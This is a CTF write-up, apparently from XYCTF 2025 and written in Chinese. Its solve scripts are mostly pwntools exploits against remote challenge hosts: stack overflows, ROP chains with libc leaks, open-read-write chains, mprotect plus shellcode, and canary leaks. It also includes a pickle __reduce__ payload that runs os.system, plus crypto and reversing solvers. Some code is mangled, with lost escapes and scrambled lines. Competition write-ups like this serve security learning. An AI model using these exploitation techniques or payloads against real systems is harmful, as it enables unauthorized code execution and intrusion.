比赛地址:https://match.ichunqiu.com/xyctf2025
时间:2025.4.4 10:00-4.6 20:00
PS:部分题目有一些思路但未解出,欢迎讨论!
# -*- encoding: utf-8 -*-
'''
@File : main.py
@Time : 2025/03/28 22:20:49
@Author : LamentXU
'''
'''
flag in /flag_{uuid4}
'''
from bottle import Bottle, request, response, redirect, static_file, run, route
with open('../../secret.txt', 'r') as f:
secret = f.read()
app = Bottle()
def index():
return '''HI'''
def download():
name = request.query.filename
if '../../' in name or name.startswith('/') or name.startswith('../') or '\' in name:
response.status = 403
return 'Forbidden'
with open(name, 'rb') as f:
data = f.read()
return data
def secret_page():
try:
session = request.get_cookie("name", secret=secret)
if not session or session["name"] == "guest":
session = {"name": "guest"}
response.set_cookie("name", session, secret=secret)
return 'Forbidden!'
if session["name"] == "admin":
return 'The secret has been deleted!'
except:
return "Error!"
run(host='0.0.0.0', port=8080, debug=False
import base64
import pickle
import os
class Test:
def __reduce__(self):
return (os.system, ("ls / >lss.txt",))
def object():
object = Test()
data = {
'evil_data': object
}
return datatest = Test()
a = pickle.dumps(test)b=base64.b64encode(a)print(b)
-
题目主函数实现了类似gets函数功能,可以stack溢出 -
但是若果将垃圾数据全部填为相同的是不能实现溢出,不知为何 -
通过尝试发现垃圾数据填充为这样payloda = b"x11"*(0x200) + b"x22"*0x20 + b"x33"*0x3 + p64(target_addr)即可,关键应该在0x210左右 -
需要leak出libc基地址,但是发现交互没有回显,注意到init函数中,设置stdout为全缓冲,所以首先要填满缓冲区,重复执行main函数通过唯一的puts函数填满
-
程序设计过于简短,有且仅有一条pop;ret,mov也只有一条有效gadget,如下,但目标是控制rdi,通过puts得到libc_base,只能通过rsi来间接控制,但是rsi又无法直接控制,经实践发现,先将rsi清零,然后通过rbp控制,注意到magic中是esi,但由于没有PIE,elf文件相关地址都是4字节,可以控制,寻找到0x400490上放着标准输入地址,通过上述四条gadget配合可以控制rdi为libc相关地址,payload如下:
0x000000000040117d: pop rbp; ret;
0x0000000000401180: mov rdi, rsi; ret;
0x00000000004010ec: add esi, dword ptr [rbp + 0x20]; ret;<----------magic1
0x00000000004010e4: and rsi, 0; ret;<-------------------------------magic2
92:0490│ 0x400490 —▸ 0x404060 (stdout@GLIBC_2.2.5) —▸ 0x7ffff7e1b780 (_IO_2_1_stdout_) ◂— 0xfbad2884
93:0498│ 0x400498 ◂— 8
94:04a0│ 0x4004a0 ◂— 0x1a00110000002d /* '-' */
95:04a8│ 0x4004a8 —▸ 0x404070 (stdin@GLIBC_2.2.5) —▸ 0x7ffff7e1aaa0 (_IO_2_1_stdin_) ◂— 0xfbad208b
96:04b0│ 0x4004b0 ◂— 8
97:04b8│ 0x4004b8 ◂— 0x1a001100000033 /* '3' */
98:04c0│ 0x4004c0 —▸ 0x404080 (stderr@GLIBC_2.2.5) —▸ 0x7ffff7e1b6a0 (_IO_2_1_stderr_) ◂— 0xfbad2084
payload1 = b"x11"*(0x200) + b"x22"*0x20 + b"x33"*0x3 + p64(pop_rbp_ret) + p64(0x400490-0x20)
payload1 += p64(rsi_0_ret) + p64(magic1) + p64(magic2) + p64(elf.plt["puts"]) + p64(main)
-
输出缓冲区大小是`01:0008│ 0x4056a8 ◂— 0x411`,加上leak的地址,大概循环49次左右,可以填满溢出 -
最后本地不能system,参数正确,stack对齐,执行到system,但确实getshell失败,没有细调,因此选择orw -
这题打本地和打远程差的比较多 -
本地只需要49次循环即可填满,但是远程要200次,而且是小概率填满溢出,由于没有回显,只能一次一次尝试,同时需要使用sleep函数,而且循环次数不能过大,如300次,会出现不知名错误,导致直接程序崩掉 -
orw的话write泄露的数据长度需要0x411往上,最开始尝试只write 0x100长度,发现拿不到flag,意识到后改成0x500,只要上面能填满缓冲区得到libc_base一次就可以拿到flag -
远程exp和本地exp 不同: -
远程的脚本循环必须要150次往上,但是本地150次程序就崩溃了,同时也不需要sleep,需要改掉循环次数 -
远程write必须要0x411往上,本地没有要求
#!/usr/bin/env python3
from pwn import *
context(arch = "amd64" , os = "linux" , log_level = "debug")
#io = process("./attachment")
io = remote("47.94.103.208",24599)
#io = remote("39.106.48.123",43714)
#io = remote("localhost",9999)
'''
io = gdb.debug("./attachment","""decompiler connect ida --host 192.168.132.84 --port 3662
b *0x401261
ignore 1 39
c
""")
'''
elf = ELF("./attachment")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
#0x000000000040117d: pop rbp; ret;
#0x0000000000401180: mov rdi, rsi; ret;
#0x00000000004010ec: add esi, dword ptr [rbp + 0x20]; ret;
#0x00000000004010e4: and rsi, 0; ret;
'''
92:0490│ 0x400490 —▸ 0x404060 (stdout@GLIBC_2.2.5) —▸ 0x7ffff7e1b780 (_IO_2_1_stdout_) ◂— 0xfbad2884
93:0498│ 0x400498 ◂— 8
94:04a0│ 0x4004a0 ◂— 0x1a00110000002d /* '-' */
95:04a8│ 0x4004a8 —▸ 0x404070 (stdin@GLIBC_2.2.5) —▸ 0x7ffff7e1aaa0 (_IO_2_1_stdin_) ◂— 0xfbad208b
96:04b0│ 0x4004b0 ◂— 8
97:04b8│ 0x4004b8 ◂— 0x1a001100000033 /* '3' */
pwndbg>
98:04c0│ 0x4004c0 —▸ 0x404080 (stderr@GLIBC_2.2.5) —▸ 0x7ffff7e1b6a0 (_IO_2_1_stderr_) ◂— 0xfbad2084
'''
for i in range(160):
payload = b"x11"*(0x200) + b"x22"*0x20 + b"x33"*0x3 + p64(elf.sym["main"])
payload = b"x11"*(0x200) + b"x22"*0x20 + b"x33"*0x3 + p64(0x000000000040117d) + p64(0x400490-0x20)
payload += p64(0x00000000004010e4) + p64(0x00000000004010ec) + p64(0x0000000000401180) + p64(elf.plt["puts"])
payload += p64(elf.sym["main"])
success(i)
sleep(0.2)
io.sendline(payload)
io.recvuntil(b"Ret2libc's Revengex0a")
libc_base = u64(io.recvn(6).ljust(8,b"x00")) - 0x3ad780 + 0x192000
#libc_base = 0x7ffff7c00000
success(f"libc_base => {hex(libc_base)}")
sleep(1)
rdi = libc_base + 0x000000000002a3e5
bin_sh = libc_base + next(libc.search("/bin/sh"))
system = libc_base + libc.sym["system"]
rdi = libc_base + 0x000000000002a3e5
rsi = libc_base + 0x000000000002be51
rdx = libc_base + 0x000000000011f2e7
read= libc_base + libc.sym["read"]
write=libc_base + libc.sym["write"]
open_=libc_base + libc.sym["open"]
orw = p64(rdi) + p64(0) + p64(rsi) + p64(0x404000) + p64(rdx) + p64(0x10)*2 + p64(read)
orw += p64(rdi) + p64(0x404000) + p64(rsi) + p64(0) + p64(open_)
orw += p64(rdi) + p64(3) + p64(rsi) + p64(0x404000) + p64(rdx) + p64(0x500)*2 + p64(read)
orw += p64(rdi) + p64(1) + p64(rsi) + p64(0x404000) + p64(rdx) + p64(0x500)*2 + p64(write)
payload2 = b"x11"*(0x200) + b"x22"*0x20 + b"x33"*0x3 + orw#+ p64(rdi) + p64(bin_sh) + p64(system)
#success(f"rdi => {hex(rdi)}")
#gdb.attach(io,"b *0x401261")
#pause()
io.sendline(payload2)
sleep(1)
io.sendline(b"flagx00")
io.interactive()
-
溢出有限,刚好可以控制一参,使用代码段中system方可绕过栈对齐问题
#!/usr/bin/env python3
from pwn import *
context(arch = "amd64" , os = "linux" , log_level = "debug")
#io = process("./pwwn")
io = remote("47.94.172.18",32784)
#io = gdb.debug("./pwwn","""decompiler connect ida --host 192.168.132.84 --port 3662#
b *0x401877#
c
""")
elf =ELF("pwwn")
def char():
sleep(0.1)
io.send(b"x0a")
def employ(choice,num):
if choice == 3:
io.sendlineafter("请选择:[1]单抽 [2]十连 [3]自定义数量 [4]结束抽卡".encode(),str(choice).encode())
io.sendlineafter("请输入寻访次数:".encode(),str(num).encode())
else:
io.sendlineafter("请选择:[1]单抽 [2]十连 [3]自定义数量 [4]结束抽卡".encode(),str(choice).encode())
char()
char()
employ(3,10000)
employ(3,10000)
employ(3,5000)
employ(3,0x6cb)
employ(4,0)
io.sendlineafter("请选择:[1]向好友炫耀 [2]退出".encode(),str(1).encode())
payload = b"x11"*0x40 + p64(3) + p64(0x00000000004018e5) + p64(0x405BCC) + p64(0x4018FC)
#p64(elf.sym["system"])
#payload = b"x11"*0x40 + p64(0) + p64(0x000000000040199c) + p64(0x405018) + p64(elf.plt["puts"])
#gdb.attach(io,"""decompiler connect ida --host 192.168.132.84 --port 3662
# set follow-fork-mode parent""")
io.sendlineafter("请输入你的名字:".encode(),payload)
#gdb.attach(io,"decompiler connect ida --host 192.168.132.84 --port 3662")
io.interactive()
#!/usr/bin/env python3
from pwn import *
context(arch = "amd64" , os = "linux" , log_level = "debug")
#io = process("./girlfriend")
io = remote("47.93.96.189",28692)
'''
io = gdb.debug("./girlfriend",""" decompiler connect ida --host 192.168.132.84 --port 3662
b *0x555555554000+0x164C
c
c
ni
b *0x555555554000+0x1777
c
c
c
c
c
c""")
'''
#choice1 printf
elf = ELF("./girlfriend")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
def mune(choice):
io.sendlineafter(b"Your Choice:",str(choice).encode())
def func1(buf):
mune(1)
if len(buf) < 0x50:
io.sendlineafter(b"what do you want to say to her?",buf)
else:
io.sendafter(b"?",buf)
def func3(buf):
mune(3)
if len(buf) < 0x100:
io.sendlineafter(b"You should tell her your name first",buf)
else:
io.sendafter(b"You should tell her your name first",buf)
func1(b"A"*7)
io.recvuntil(b"AAAAAAAx0a")
#libc_base = u64(io.recvuntil(b"x7f")[-6:].ljust(8,b"x00")) - 0x43654
libc_base = u64(io.recvn(6)[-6:].ljust(8,b"x00")) - 0x43654
payload0 = b"x00"*0x40func3(payload0)
func1(b"A"*(0x18-1-1)+b"B")
io.recvuntil(b"ABx0a")
elf_base = u64(io.recvn(6).ljust(8,b"x00")) - 0x15c7
#stack_base = u64(io.recvn(6).ljust(8,b"x00")) - 0x20078 - 0x10
payload1 = b"%" + str(0x23).encode() + b"$p"
payload1 = payload1.ljust(0x40,b"x00")
func3(payload1)io.recvuntil(b"0x")
canary = int(io.recvn(16),16)
payload2 = b"x11"*0x38 + p64(canary)*2 + p64(elf_base+0x181C)
func1(payload2)
func3(payload0)
func1(b"A"*(0x20-1-1)+b"B")
io.recvuntil(b"ABx0a")
stack_base = u64(io.recvn(6).ljust(8,b"x00")) - 0x20078 - 0x10 - 0xb0
rdi = libc_base + 0x000000000002a3e5
rsi = libc_base + 0x000000000002be51
rdx = libc_base + 0x000000000011f2e7
mprotect = libc_base + libc.sym["mprotect"]
read = libc_base + libc.sym["read"]
bss_addr = elf_base + 0x4060 + 0x40
bss_addr2 = (bss_addr>>12)<<12
payload3 = payload0
payload3 += p64(rdi) + p64(bss_addr2) + p64(rsi) + p64(0x10000)
payload3 += p64(rdx) + p64(7)*2 + p64(mprotect)
payload3 += p64(rdi) + p64(0) + p64(rsi) + p64(bss_addr2)
payload3 += p64(rdx) + p64(0x100)*2 + p64(read) + p64(bss_addr2)
func3(payload3)
leave_ret = libc_base + 0x000000000004da83
bss_addr = elf_base + 0x4060 + 0x40
payload4 = flat({
0: 0,
0x38: p64(canary),
0x40: p64(bss_addr-0x8),
0x48: p64(leave_ret)
},filler = b"x00")
func1(payload4)
sleep(0.1)
shellcode = shellcraft.openat(-100, "flag", 0)
shellcode += shellcraft.mmap(bss_addr2+0x100,0x1000,1,0x2,3,0)
shellcode += shellcraft.write(1,'rax',0x100)
payload5 = asm(shellcode)
io.sendline(payload5)
success(f"elf_base => {hex(elf_base)}")
success(f"canary => {hex(canary)}")
success(f"stack_base => {hex(stack_base)}")
success(f"libc_base => {hex(libc_base)}")
io.interactive()
-
爆破rbp地址 -
stack上关键数据与rbp的偏移固定,但是与stack_base偏移不固定
#!/usr/bin/env python3
from pwn import *
context(arch = "amd64" , os = "linux" , log_level = "debug")
#io = process("./nailong")#io = remote("47.93.96.189",30808)
'''
io = gdb.debug("./nailong","""decompiler connect ida --host 192.168.132.84 --port 3662
b *0x401A6E
c
b *0x401A20
b *0x401B8E
""")
'''
#write_func 0x401A20
#read_func 0x401A6E
#leave_ret 0x401B8E
elf = ELF("./nailong")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
#io.recvuntil(b"rbp + offset:")
#stack_base_0 = int(io.recv(15),10)
#stack_base = (((stack_base_0)>>12)<<12) - 0x1e000
#stack_base = 0x7ffffffde000
#success(f"stack_base => {hex(stack_base)}")
#success(f"stack_base_0 => {hex(stack_base_0)}")
#io.sendlineafter("xiao_peng_you_ni_zhi_dao_wo_yao_qu_ji_lou_ma".encode(),str(-2).encode())
def mune(choice):
io.sendlineafter(b"sh",str(choice).encode())
def write_func(addr):
mune(1)
io.sendlineafter(b"what you want do?",str(addr).encode())
def read_func(addr,content):
mune(2)
io.sendafter(b"do?",str(addr).encode())
if len(content) < 4:
io.sendlineafter(b"read you want",content)
else:
io.sendafter(b"read you want",content)
def pwwn():
write_func(0x404140)
#libc_base = u64(io.recvuntil(b"x7f")[-6:].ljust(8,b"x00")) - 0x21b780
io.recvuntil(b"x0a")
libc_base = u64(io.recvn(6).ljust(8,b"x00")) - 0x21b780
open_func = libc_base + libc.sym["open"]
environ = libc_base + libc.sym["__environ"]
sleep = elf.got["sleep"]
main = 0x4017CF
v17_addr = rbp_base - 0x8044
v16_addr = rbp_base - 0x8048
ret_base = rbp_base + 0x8
success(f"v17 => {hex(v17_addr)}")
success(f"v16 => {hex(v16_addr)}")
success(f"ret_base => {hex(ret_base)}")
success(f"libc_base => {hex(libc_base)}")
read_func(v17_addr,b"xff"+b"x00"*2+b"xff")
flag_addr = 0x404500
read_func(flag_addr,b"flag")
rdi = libc_base + 0x000000000002a3e5
rsi = libc_base + 0x000000000002be51
rdx = libc_base + 0x000000000011f2e7
open_ = libc_base + libc.sym["open"]
read = libc_base + libc.sym["read"]
write = libc_base + libc.sym["write"]
payload = p64(rdi) + p64(flag_addr) + p64(rsi) + p64(0) + p64(open_)
payload += p64(rdi) + p64(3) + p64(rsi) + p64(0x404500) + p64(rdx) + p64(0x100)*2
payload += p64(read)
payload += p64(rdi) + p64(1) + p64(rsi) + p64(0x404500) + p64(rdx) + p64(0x100)*2
payload += p64(write)
#read_func(ret_base,p64(rdi)[:4])
#read_func(ret_base+4,p64(rdi)[4:])
'''
gdb.attach(io,"""decompiler connect ida --host 192.168.132.84 --port 3662
b *0x401A6E
c
""")
'''
for i in range(0, len(payload), 4):
chunk = payload[i:i+4]
read_func(ret_base+i,chunk)
'''
gdb.attach(io,"""decompiler connect ida --host 192.168.132.84 --port 3662
b *0x401B8E
c
""")
'''
read_func(v16_addr,p64(0xffffffff))
#success(f"stack_base => {hex(stack_base)}")
#success(f"libc_base => {hex(libc_base)}")
for i in range(1000):
#io = process("./nailong")#,timeout = 0.5)
io = remote("39.106.71.197",36971,timeout = 0.5)
io.recvuntil(b"init...x0a")
io.recvuntil(b"rbp + offset:")
rbp_base = int(io.recvn(15),10) - 0x50 - 0x192 + 0xed + 0x29 + 1
#stack_base = (((ret_base)>>12)<<12) - 0x1e000
#stack_base = 0x7ffffffde000
#success(f"stack_base => {hex(stack_base)}")
#rbp_base = 0x7fffffffdf50
success(f"rbp_base => {hex(rbp_base)}")
io.sendlineafter("xiao_peng_you_ni_zhi_dao_wo_yao_qu_ji_lou_ma".encode(),str(-2).encode())
try:
success(i)
pwwn()
io.recvuntil(b"XY",timeout = 1)
success(i)
except EOFError:
io.close()
continue
else :
io.interactive()
break
#success(f"stack_base => {hex(stack_base)}")
#success(f"libc_base => {hex(libc_base)}")
#io.interactive()
-
异架构-mips,利用gadget控制a0,system即可
!/usr/bin/env python3
from pwn import *
context(arch = "mips" , os = "linux" , log_level = "debug")
#io = process("qemu-mipsel -g 9002 -L /usr/mipsel-linux-gnu ./ez3.0",shell = True)
io = remote("39.106.48.123",37903)
"qemu-mipsel -L /usr/mipsel-linux-gnu ./ez3.0",shell = True) io = process(
$ra, 0x1c($sp); lw $fp, 0x18($sp); addiu $sp, $sp, 0x20; jr $ra; nop; 0x004008e0: lw
$ra, 0x3c($sp); lw $fp, 0x38($sp); addiu $sp, $sp, 0x40; jr $ra; nop; 0x004009b4: lw
read 0x400984
cat flag.txt 0x411010
bin/ls 0x400c88
main = 0x400830
ret = 0x04009C0
payload = p32(0x411010)*9 + p32(0x00400a20) + p32(0x411010) + p32(0x4009EC) + p32(0x411010)
payload = payload.ljust(0x60,b"x11")
io.sendlineafter(b">",payload)
">",payload) io.sendlineafter(b
">",payload) io.sendlineafter(b
">",payload) io.sendlineafter(b
io.interactive()
from pwn import *
import re #pwn的模块不熟悉,这里使用正则表达式对输出结果筛选
from randcrack import RandCrack #直接爆破
io =remote('47.93.96.189',22581)
num=[]
for i in range(624):
io.sendlineafter(b': >>> ',b'1')
io.sendlineafter(b'input the denominator: >>> ',b'1')
result=io.recvline()
match = re.search(rb'=s*(S+)', result)
num.append(match.group(1))rc=RandCrack()
for j in range(624):
rc.submit(int(num[j].decode('utf-8')))
a=rc.predict_getrandbits(11000)
b=rc.predict_getrandbits(10000)
ans=a//b
io.sendlineafter(b': >>> ',b'2')
io.sendlineafter(b'input the answer: >>> ',str(ans).encode('utf-8'))
c=io.recvline()
#纯占位d=io.recvline()
print(d)
#输出flag
#XYCTF{d63a90be-a59c-4527-a115-3eba4eb63d4a}
#sage
from sage.all import *
import itertools
from Crypto.Cipher import ChaCha20
import hashlib
def small_roots(f, bounds, m=1, d=None):
if not d:
d = f.degree()
R = f.base_ring()
N = R.cardinality()
f /= f.coefficients().pop(0)
f = f.change_ring(ZZ)
G = Sequence([], f.parent())
for i in range(m + 1):
base = N ^ (m - i) * f ^ i
for shifts in itertools.product(range(d), repeat=f.nvariables()):
g = base * prod(map(power, f.variables(), shifts))
G.append(g)
B, monomials = G.coefficient_matrix()
monomials = vector(monomials)
factors = [monomial(*bounds) for monomial in monomials]
for i, factor in enumerate(factors):
B.rescale_col(i, factor)
B = B.dense_matrix().LLL()
B = B.change_ring(QQ)
for i, factor in enumerate(factors):
B.rescale_col(i, 1 / factor)
H = Sequence([], f.parent().change_ring(QQ))
for h in filter(None, B * monomials):
H.append(h)
I = H.ideal()
if I.dimension() == -1:
H.pop()
elif I.dimension() == 0:
roots = []
for root in I.variety(ring=ZZ):
root = tuple(R(root[var]) for var in f.variables())
roots.append(root)
return roots
return []
n = 24240993137357567658677097076762157882987659874601064738608971893024559525024581362454897599976003248892339463673241756118600994494150721789525924054960470762499808771760690211841936903839232109208099640507210141111314563007924046946402216384360405445595854947145800754365717704762310092558089455516189533635318084532202438477871458797287721022389909953190113597425964395222426700352859740293834121123138183367554858896124509695602915312917886769066254219381427385100688110915129283949340133524365403188753735534290512113201932620106585043122707355381551006014647469884010069878477179147719913280272028376706421104753
a_high = 3960604425233637243960750976884707892473356737965752732899783806146911898367312949419828751012380013933993271701949681295313483782313836179989146607655230162315784541236731368582965456428944524621026385297377746108440938677401125816586119588080150103855075450874206012903009942468340296995700270449643148025957527925452034647677446705198250167222150181312718642480834399766134519333316989347221448685711220842032010517045985044813674426104295710015607450682205211098779229647334749706043180512861889295899050427257721209370423421046811102682648967375219936664246584194224745761842962418864084904820764122207293014016
b_high = 15053801146135239412812153100772352976861411085516247673065559201085791622602365389885455357620354025972053252939439247746724492130435830816513505615952791448705492885525709421224584364037704802923497222819113629874137050874966691886390837364018702981146413066712287361010611405028353728676772998972695270707666289161746024725705731676511793934556785324668045957177856807914741189938780850108643929261692799397326838812262009873072175627051209104209229233754715491428364039564130435227582042666464866336424773552304555244949976525797616679252470574006820212465924134763386213550360175810288209936288398862565142167552
c_re = 5300743174999795329371527870190100703154639960450575575101738225528814331152637733729613419201898994386548816504858409726318742419169717222702404409496156167283354163362729304279553214510160589336672463972767842604886866159600567533436626931810981418193227593758688610512556391129176234307448758534506432755113432411099690991453452199653214054901093242337700880661006486138424743085527911347931571730473582051987520447237586885119205422668971876488684708196255266536680083835972668749902212285032756286424244284136941767752754078598830317271949981378674176685159516777247305970365843616105513456452993199192823148760
c_im = 21112179095014976702043514329117175747825140730885731533311755299178008997398851800028751416090265195760178867626233456642594578588007570838933135396672730765007160135908314028300141127837769297682479678972455077606519053977383739500664851033908924293990399261838079993207621314584108891814038236135637105408310569002463379136544773406496600396931819980400197333039720344346032547489037834427091233045574086625061748398991041014394602237400713218611015436866842699640680804906008370869021545517947588322083793581852529192500912579560094015867120212711242523672548392160514345774299568940390940653232489808850407256752
bits = 128
P.= PolynomialRing(Zmod(n))
a = a_high + x
b = b_high + y
f1 = a**3 - 3*a*b**2 - c_re
f2 = 3*a**2*b - b**3 - c_im
ab = 2**bits
bb = 2**bits
roots = small_roots(f1, (ab, bb), m=3, d=4)
aa, ab = roots[0]
a = a_high + aa
b = b_high + ab
key = hashlib.sha256(str(a + b).encode()).digest()
cipher = ChaCha20.new(key=key, nonce=b'Pr3d1ctmyxjj')
enc = b'x9cxc4nx8dFxd9x9exf4x05x82!xdexfex012$xd0x8cxafxfbrEb(x04)xa1xa6xbaI2Jxd2xb2x898x11xe6xxa9x19x00pnxf6rs- xd2xd1xbexc7xf51.xd4xd2 xe7xc6xcaxe5x19xbe'
flag = cipher.decrypt(enc)
print(flag)
from Crypto.Cipher import ARC4
import base64
def rc4_decrypt(data, key1): # 解密
data = bytes.fromhex(data) # 将十六进制的字符串转为字节数据
key = bytes(key1, encoding='utf-8') # 将密钥转换为字节类型
enc = ARC4.new(key)
decrypted_data = enc.decrypt(data)
res = decrypted_data.decode('utf-8') # 将解密后的字节数据转为字符串
return res
if __name__ == "__main__":
data = '90df4407ee093d309098d85a42be57a2979f1e51463a31e8d15e2fac4e84ea0df622a55c4ddfb535ef3e51e8b2528b826d5347e165912e99118333151273cc3fa8b2b3b413cf2bdb1e8c9c52865efc095a8dd89b3b3cfbb200bbadbf4a6cd4'
key = 'rc4key'
print('解密后:', rc4_decrypt(data, key))
long long int data[]={0x239c1cb1be6084b8,0xfce1072b184d4039,0xed29d0439da02761,0x7c17491e33a8aa17,0x3844e14d5499a33,0x6c7d35e4d59d2694,0x4e00075f898c3c78,0xf257e9d8c771fa1e,0x610e19e5172f5548,0x6d87c02d180d9eba,0x9c36835e0a9019f4,0x642c574fbc48c554};
intmain(){
long long int v5;
int i,m,n;
for(i=0;i<12;i++){
for(m=0;m<256;m++){
for(n=0;n<256;n++){
v5 = 0xFFFFFFFFFFFFFFFF;
v5 ^= (unsigned __int64)(unsigned __int8)(m) << 56;// 高位取反
for (int j = 0; j < 8; ++j ){
if ( v5 >= 0 )
v5 *= 2;
else
v5 = (2 * v5) ^ 0x42F0E1EBA9EA3693;
}
v5 ^= (unsigned __int64)(unsigned __int8)(n) << 56;// 高位取反
for (int j = 0; j < 8; ++j ){
if ( v5 >= 0 )
v5 *= 2;
else
v5 = (2 * v5) ^ 0x42F0E1EBA9EA3693;
}
if(v5==data[i])
printf("%c%c",m,n);
}
}
}
}
bashdata=[ 0x4A, 0xAB, 0x9B, 0x1B, 0x61, 0xB1, 0xF3, 0x32, 0xD1, 0x8B, 0x73, 0xEB, 0xE9, 0x73, 0x6B, 0x22, 0x81, 0x83, 0x23, 0x31, 0xCB, 0x1B, 0x22, 0xFB, 0x25, 0xC2, 0x81, 0x81, 0x73, 0x22, 0xFA, 0x03, 0x9C, 0x4B, 0x5B, 0x49, 0x97, 0x87, 0xDB, 0x51, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00]opcode=[0x02, 0x02, 0x0C, 0x01, 0x1A, 0x55, 0x01, 0x23, 0x0C, 0x02, 0x0E, 0x09, 0x01, 0x1B, 0x06, 0x08, 0x06, 0x05, 0x08, 0x01, 0x05, 0x02, 0x1B, 0x0E, 0x02, 0x19, 0x03, 0x02, 0x1A, 0x04, 0x08, 0x04, 0x08, 0x01, 0x03, 0x0C, 0x02, 0x0C, 0x0A, 0x01, 0x25, 0x02, 0x01, 0x20, 0x02, 0x01, 0x09, 0x0C, 0x08, 0x1A, 0x05, 0x02, 0x04, 0x0D, 0x08, 0x08, 0x0F, 0x02, 0x0A, 0x0E, 0x01, 0x10, 0x07, 0x01, 0x0C, 0x07, 0x08, 0x22, 0x08, 0x08, 0x15, 0x0A, 0x01, 0x27, 0x7E, 0x02, 0x07, 0x02, 0x08, 0x0F, 0x03, 0x08, 0x0A, 0x0A, 0x01, 0x22, 0x0B, 0x02, 0x12, 0x08, 0x02, 0x19, 0x09, 0x08, 0x0E, 0x06, 0x08, 0x00, 0x05, 0x01, 0x0A, 0x08, 0x08, 0x1B, 0x07, 0x08, 0x0D, 0x06, 0x08, 0x0D, 0x04, 0x08, 0x17, 0x0C, 0x08, 0x22, 0x0E, 0x02, 0x12, 0x34, 0x01, 0x26, 0x77, 0x00, 0x00, 0x00, 0x00, 0x00]
flag=[0]*48
for i in range(0,40,4):
flag[i]=((data[i+2]<<5)|(data[i+3]>>3))&0xff
flag[i+1]=((data[i+3]<<5)|(data[i]>>3))&0xff
flag[i+2]=((data[i]<<5)|(data[i+1]>>3))&0xff
flag[i+3]=((data[i+1]<<5)|(data[i+2]>>3))&0xff
for i in range(0,123,3):
aa=opcode[i]
bb=opcode[i+1]
cc=opcode[i+2]
# print(aa,end=',') 2,1,1,2,1,8,8,2,2,2,8,1,2,1,1,1,8,2,8,2,1,1,8,8,1,2,8,8,1,2,2,8,8,1,8,8,8,8,8,2,1
if bb>=1:
if aa==1:
flag[bb]-=cc
elif aa==2:
flag[bb]+=cc
elif aa==3:
flag[bb]//=cc
elif aa==4:
flag[bb]*=cc
elif aa==8:
flag[bb]^=cc
for i in range(48):
print(chr(flag[i]),end='')
import requests
import time
from tqdm import tqdm
# 原始域名
base_domain = "dragonkeep"
# 可能的字母(a-z)
letters = "abcdefghijklmnopqrstuvwxyz"
# 可能的域名后缀
suffixes = [".com", ".net", ".org", ".cn", ".io", ".top", ".xyz", ".app", ".info"]
# 生成所有可能的域名组合
def generate_domains(base):
domains = []
for i in range(len(base) + 1): # 插入位置
for letter in letters: # 插入的字母
new_domain = base[:i] + letter + base[i:]
domains.append(new_domain)
return domains
# 检查域名是否可以访问
def check_domain(domain, suffix):
full_domain = f"{domain}{suffix}"
try:
response = requests.head(f"http://{full_domain}", allow_redirects=True, timeout=5)
if response.status_code == 200:
return full_domain
except:
pass
return None
# 主函数
def main():
domains = generate_domains(base_domain)
valid_domains = []
# 遍历所有域名和后缀
total_checks = len(domains) * len(suffixes)
with tqdm(total=total_checks, desc="Checking domains") as pbar:
for domain in domains:
for suffix in suffixes:
result = check_domain(domain, suffix)
if result:
valid_domains.append(result)
print(f"nFound valid domain: {result}")
pbar.update(1)
time.sleep(0.1) # 避免请求过于频繁
# 保存结果
with open("valid_domains.txt", "w") as f:
for domain in valid_domains:
f.write(f"{domain}n")
print(f"nFound {len(valid_domains)} valid domains. Results saved to valid_domains.txt")
if __name__ == "__main__":
main()
>+++++++++++++++++[<++++++>-+-+-+-]<.><[-]>++++++++++++[<+++++++++>-+-+-+-]<.><[-]>+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++[<+>-+-+-+-]<.><[-]>+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++[<+>-+-+-+-]<.><[-]>+++++++++++++++++++++++++++++++++++++++++[<+++>-+-+-+-]<.><[-]>+++++++++++++++++++++++++++++[<+++>-+-+-+-]<.><[-]>+++++++++++++++++[<+++>-+-+-+-]<.><[-]>++++++++++++[<+++++++++>-+-+-+-]<.><[-]>+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++[<+>-+-+-+-]<.><[-]>++++++++[<++++++>-+-+-+-]<.><[-]>+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++[<+>-+-+-+-]<.><[-]>+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++[<+>-+-+-+-]<.><[-]>+++++++++++++++++++[<+++++>-+-+-+-]<.><[-]>+++++++++++++++++++++++++++++[<++++>-+-+-+-]<.><[-]>++++++++[<++++++>-+-+-+-]<.><[-]>+++++++++++++++++++[<+++++>-+-+-+-]<.><[-]>+++++++++++[<++++++++>-+-+-+-]<.><[-]>+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++[<+>-+-+-+-]<.><[-]>+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++[<+>-+-+-+-]<.><[-]>++++++++++++[<+++++++>-+-+-+-]<.><[-]>++++++++++[<+++++++>-+-+-+-]<.><[-]>+++++++++++++++++++[<+++++>-+-+-+-]<.><[-]>++++++++++[<+++++>-+-+-+-]<.><[-]>++++++++[<++++++>-+-+-+-]<.><[-]>++++++++++[<+++++>-+-+-+-]<.><[-]>+++++++++++++++++++++++++++++++++++++++++++++++++++++[<+>-+-+-+-]<.><[-]>+++++++++++++++++++[<+++++>-+-+-+-]<.><[-]>+++++++++++++++++++++++[<+++>-+-+-+-]<.><[-]>+++++++++++[<++++++++++>-+-+-+-]<.><[-]>+++++++++++++++++++++++++++++++++++++++++++++++++++++[<++>-+-+-+-]<.><[-]>++++++++[<++++++>-+-+-+-]<.><[-]>+++++++++++[<+++++>-+-+-+-]<.><[-]>+++++++++++++++++++[<+++++>-+-+-+-]<.><[-]>+++++++[<+++++++>-+-+-+-]<.><[-]>+++++++++++++++++++++++++++++[<++++>-+-+-+-]<.><[-]>+++++++++++[<+++>-+-+-+-]<.><[-]>+++++++++++++++++++++++++[<+++++>-+-+-+-]<[-]<.>
-
该 MKV 文件包含一个视频轨道(H.264 编码)、两个音频轨道(AAC 和 MP3 编码)以及一个字幕轨道(ASS 格式)。 -
